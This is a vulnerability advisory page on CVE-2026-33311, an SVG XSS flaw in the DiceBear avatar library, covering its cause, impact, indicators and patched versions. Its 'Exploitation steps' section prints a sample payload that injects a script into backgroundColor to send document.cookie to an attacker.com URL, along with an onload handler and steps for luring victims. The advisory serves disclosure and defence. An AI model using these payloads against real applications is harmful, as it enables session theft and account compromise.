CVE-2026-33311
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-33311 is a Cross-Site Scripting (XSS) vulnerability in DiceBear, an open-source avatar library for designers and developers. Affecting versions 5.0.0 through 9.x prior to the patched releases, the flaw stems from SVG attribute values derived from user-supplied options (backgroundColor, fontFamily, textColor) not being XML-escaped before interpolation into SVG output. It was disclosed on March 18, 2026, via a GitHub Security Advisory (GHSA-mr9r-mww3-v6gv), with NVD publication on March 24, 2026. The vulnerability carries a CVSS v3.1 base score of 4.7 (Medium) (GitHub Advisory, Feedly).

Technical details

The root cause is improper neutralization of input during web page generation (CWE-79). When an application calls createAvatar() with untrusted, unvalidated user input for options such as backgroundColor, fontFamily, or textColor, those values are interpolated directly into SVG markup without XML entity encoding. An attacker who can control these option values can inject malicious SVG/XML content — including event handlers or script elements — that executes in the victim's browser when the SVG is served inline or with Content-Type: image/svg+xml. Exploitation requires that the application does not validate input against DiceBear's JSON Schema prior to passing it to createAvatar(), and that a victim user renders the resulting SVG (GitHub Advisory, Feedly).

Impact

Successful exploitation can result in low-severity confidentiality and integrity impacts within the browser context of the victim user, such as session token theft, credential harvesting, or content defacement. Because the scope changes (S:C in CVSS), the injected script executes in the context of the page serving the SVG, potentially affecting resources beyond the vulnerable component itself. Availability is not impacted, and exploitation is constrained to scenarios where untrusted input reaches createAvatar() and the resulting SVG is rendered inline (GitHub Advisory, Feedly).

Exploitability

No public exploit code or in-the-wild exploitation has been reported for CVE-2026-33311 as of the available data. The EPSS score is approximately 0.03% (0.000300), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high attack complexity (user interaction and specific application conditions), limiting its practical reach (Feedly).

Exploitation steps

  1. Identify a vulnerable application: Find a web application that uses DiceBear versions 5.0.0–5.4.3, 6.0.0–6.1.3, 7.0.0–7.1.3, 8.0.0–8.0.2, or 9.0.0–9.4.0, passes user-controlled input to createAvatar(), and serves the resulting SVG inline or with Content-Type: image/svg+xml.
  2. Craft a malicious payload: Prepare an XSS payload targeting one of the vulnerable option fields, for example: backgroundColor set to a value like "/>><script>document.location='https://attacker.com/?c='+document.cookie</script> or an SVG event handler such as red" onload="alert(document.cookie).
  3. Deliver the payload: Submit the malicious value through any application input that is passed unsanitized to createAvatar() — such as a profile customization form, URL parameter, or API request.
  4. Trigger victim rendering: Induce the victim user to view the page or resource that renders the generated SVG inline (e.g., a profile page, avatar preview, or shared link).
  5. Achieve objective: The injected script executes in the victim's browser context, enabling session token theft, credential phishing, or other client-side attacks (GitHub Advisory).

Indicators of compromise

  • Network: Unexpected outbound requests from victim browsers to attacker-controlled domains following rendering of DiceBear-generated SVG content; unusual document.cookie or credential data in HTTP query strings to external hosts.
  • Logs: Web server or application logs showing SVG option parameters (e.g., backgroundColor, fontFamily, textColor) containing XML special characters (<, >, ", ', &), script tags, or event handler strings.
  • File System: If the application caches generated SVGs, presence of SVG files containing unescaped <script> tags or inline event handlers (e.g., onload=, onerror=) within SVG attribute values.
  • Browser/Client: Browser console errors or unexpected JavaScript execution originating from SVG content served with Content-Type: image/svg+xml or rendered inline in HTML pages (GitHub Advisory).

Mitigation and workarounds

DiceBear has released patched versions that apply proper XML entity encoding to all affected SVG attribute values: 5.4.4, 6.1.4, 7.1.4, 8.0.3, and 9.4.1. Users should upgrade to the appropriate patched version for their major release branch. As a workaround, applications can validate all user-supplied input against DiceBear's JSON Schema before passing it to createAvatar() — applications doing so are not affected. The DiceBear CLI was not vulnerable as it validates input via AJV. Serving generated SVGs with Content-Type: image/octet-stream or as data URIs (rather than inline or with image/svg+xml) can also reduce XSS risk (GitHub Advisory, Feedly).

Community reactions

A technical write-up was published at infinitsec.net shortly after disclosure, specifically covering the SVG injection issue in @dicebear/core and @dicebear/initials (infinitsec.net). No significant broader media coverage or notable researcher commentary beyond the GitHub advisory and automated vulnerability database entries has been identified.

Additional resources


SourceThis report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-88062CRITICAL9.5
  • JavaScript logoJavaScript
  • omniroute
NoNoSep 10, 2026
CVE-2026-61534CRITICAL9.1
  • JavaScript logoJavaScript
  • yayson
NoYesSep 11, 2026
CVE-2026-59973HIGH8.5
  • JavaScript logoJavaScript
  • @frontmcp/adapters
NoYesSep 11, 2026
CVE-2026-59960HIGH7.5
  • JavaScript logoJavaScript
  • @argos-ci/core
NoYesSep 10, 2026
CVE-2026-59965HIGH7.1
  • JavaScript logoJavaScript
  • @jhb.software/payload-alt-text-plugin
NoNoSep 10, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management